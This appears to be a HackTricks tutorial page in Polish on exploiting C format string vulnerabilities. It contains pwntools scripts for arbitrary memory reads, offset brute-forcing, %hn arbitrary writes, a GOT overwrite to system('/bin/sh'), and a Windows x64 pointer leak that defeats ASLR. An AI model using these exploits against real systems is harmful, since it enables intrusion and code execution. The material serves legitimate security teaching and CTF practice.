Format Strings

Reading time: 11 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Podstawowe informacje

W C printf jest funkcją, którą można użyć do wypisania łańcucha znaków. Jako pierwszy parametr ta funkcja oczekuje surowego tekstu ze specyfikatorami formatu. Zaś kolejne parametry to wartości, które służą do podstawienia specyfikatorów w surowym tekście.

Innymi podatnymi funkcjami są sprintf() i fprintf().

Luka pojawia się, gdy tekst kontrolowany przez atakującego jest użyty jako pierwszy argument tej funkcji. Atakujący będzie w stanie przygotować specjalne wejście wykorzystujące możliwości printf format do odczytu i zapisania dowolnych danych pod dowolnym adresem (umożliwiającym odczyt/zapis). Dając w ten sposób możliwość wykonania dowolnego kodu.

Specyfikatory:

bash
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

Przykłady:

  • Przykład podatny:
c
char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • Normalne użycie:
c
int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • Z brakującymi argumentami:
c
printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
  • fprintf podatny:
c
#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}

Dostęp do wskaźników

Format %<n>$x, gdzie n jest liczbą, pozwala funkcji printf wybrać n-ty parametr (ze stosu). Więc jeśli chcesz odczytać czwarty parametr ze stosu za pomocą printf, możesz zrobić:

c
printf("%x %x %x %x")

i odczytałbyś parametry od pierwszego do czwartego.

Albo możesz zrobić:

c
printf("%4$x")

i odczytać bezpośrednio czwarty element.

Zauważ, że atakujący kontroluje printf parameter, which basically means that jego dane znajdą się na stacku, gdy printf zostanie wywołany, co oznacza, że może zapisać konkretne adresy pamięci na stacku.

caution

Atakujący kontrolujący to wejście będzie w stanie dodać dowolne address in the stack and make printf access them. W następnej sekcji wyjaśnione zostanie, jak wykorzystać to zachowanie.

Arbitrary Read

Można użyć formattera %n$s, aby zmusić printf do pobrania address znajdującego się na n position, następnie podążenia za nim i wydrukowania go tak, jakby był stringiem (drukuje aż do napotkania 0x00). Zatem jeśli baza binarki to 0x8048000, i wiemy, że dane użytkownika zaczynają się na czwartej pozycji na stacku, można wydrukować początek binarki za pomocą:

python
from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

caution

Zwróć uwagę, że nie możesz umieścić adresu 0x8048000 na początku wejścia, ponieważ ciąg zostanie zakończony bajtem 0x00 na końcu tego adresu.

Znajdź offset

Aby znaleźć offset do swojego wejścia możesz wysłać 4 lub 8 bajtów (0x41414141) po których dodać %1$x i zwiększać wartość aż pojawią się A's.

Brute Force printf offset
python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()

# Start a new process of the "chall" binary
p = process("./chall")

# Send the payload to the process
p.sendline(payload)

# Read and store the output of the process
output = p.clean()

# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break

# Close the process
p.close()

Jak przydatne

Arbitrary reads mogą być przydatne do:

  • Dump the binary z pamięci
  • Access specific parts of memory where sensitive info jest przechowywane (np. canaries, encryption keys lub custom passwords jak w tym CTF challenge)

Arbitrary Write

Formatter %<num>$n writes liczbę zapisanych bajtów w wskazanym adresie znajdującym się w parametrze na stosie. Jeśli atakujący może wypisać dowolną liczbę znaków za pomocą printf, będzie w stanie sprawić, że %<num>$n zapisze dowolną liczbę pod dowolnym adresem.

Na szczęście, aby zapisać liczbę 9999, nie trzeba dodawać 9999 "A" do wejścia — można użyć formattera %.<num-write>%<num>$n aby zapisać liczbę <num-write> pod adresem wskazywanym przez pozycję num.

bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

Jednak zwróć uwagę, że zazwyczaj aby zapisać adres taki jak 0x08049724 (co jest OGROMNĄ wartością do zapisania naraz), używa się $hn zamiast $n. Pozwala to zapisać tylko 2 bajty. Dlatego operacja ta wykonywana jest dwukrotnie: raz dla wyższych 2B adresu, i raz dla niższych.

Wobec tego ta luka pozwala zapisać cokolwiek pod dowolny adres (arbitrary write).

W tym przykładzie celem będzie nadpisanie adresu funkcji w tabeli GOT, która zostanie wywołana później. Choć można to też wykorzystać przy innych technikach arbitrary write to exec:

Write What Where 2 Exec

Zamierzamy nadpisać funkcję, która otrzymuje swoje argumenty od użytkownika i skierować ją na funkcję system.
Jak wspomniano, zwykle zapis adresu wymaga 2 kroków: najpierw zapisujesz 2 bajty adresu, a potem pozostałe 2. Do tego używa się $hn.

  • HOB odnosi się do 2 wyższych bajtów adresu
  • LOB odnosi się do 2 niższych bajtów adresu

Następnie, z powodu działania format string musisz najpierw zapisać najmniejszy z [HOB, LOB] a potem drugi.

Jeśli HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

Jeśli HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

Pwntools Template

Możesz znaleźć szablon do przygotowania exploita dla tego typu podatności w:

Format Strings Template

Albo ten podstawowy przykład z here:

python
from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

Format Strings do BOF

Można nadużyć operacji zapisu wynikających z luki format string, aby zapisać do adresów na stosie i wykorzystać lukę typu buffer overflow.

Windows x64: Format-string leak do obejścia ASLR (no varargs)

Na Windows x64 pierwsze cztery parametry całkowitoliczbowe/wskaźnikowe są przekazywane w rejestrach: RCX, RDX, R8, R9. W wielu wadliwych call-sites ciąg kontrolowany przez atakującego jest używany jako argument formatowy, ale nie są dostarczone żadne variadic arguments, na przykład:

c
// keyData is fully controlled by the client
// _snprintf(dst, len, fmt, ...)
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);

Ponieważ nie są przekazywane varargs, każda konwersja taka jak "%p", "%x", "%s" spowoduje, że CRT odczyta następny argument wariadyczny z odpowiedniego rejestru. W konwencji wywołań Microsoft x64 pierwszy taki odczyt dla "%p" pochodzi z R9. Jakakolwiek chwilowa wartość w R9 w miejscu wywołania zostanie wydrukowana. W praktyce często powoduje to leak stabilnego in-module pointer (np. pointer do local/global object wcześniej umieszczonego w R9 przez otaczający kod lub callee-saved value), który można wykorzystać do odzyskania module base i obejścia ASLR.

Praktyczny workflow:

  • Wstrzyknij nieszkodliwy format taki jak "%p " na samym początku kontrolowanego przez atakującego stringa, tak aby pierwsza konwersja wykonała się przed jakimkolwiek filtrowaniem.
  • Przechwyć leaked pointer, zidentyfikuj statyczny offset tego obiektu wewnątrz modułu (poprzez reversing z użyciem symboli lub lokalnej kopii), i odzyskaj image base jako leak - known_offset.
  • Wykorzystaj image base do obliczenia absolutnych adresów dla ROP gadgets i IAT entries zdalnie.

Example (abbreviated python):

python
from pwn import remote

# Send an input that the vulnerable code will pass as the "format"
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-"  # leading %p leaks R9
io = remote(HOST, 4141)
# ... drive protocol to reach the vulnerable snprintf ...
leaked = int(io.recvline().split()[2], 16)   # e.g. 0x7ff6693d0660
base   = leaked - 0x20660                     # module base = leak - offset
print(hex(leaked), hex(base))

Notatki:

  • Dokładny offset do odjęcia jest znajdowany raz podczas local reversing i następnie używany ponownie (ten sam binary/version).
  • Jeśli "%p" nie wypisuje poprawnego pointera za pierwszym razem, spróbuj innych specyfikatorów ("%llx", "%s") lub wielu konwersji ("%p %p %p") aby spróbkować innych argument registers/stack.
  • Ten wzorzec jest specyficzny dla Windows x64 calling convention oraz implementacji printf-family, które pobierają nieistniejące varargs z registers gdy format string ich zażąda.

Ta technika jest niezwykle przydatna do bootstrap ROP na Windows services skompilowanych z ASLR i bez oczywistych memory disclosure primitives.

Inne przykłady i odniesienia

Referencje

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks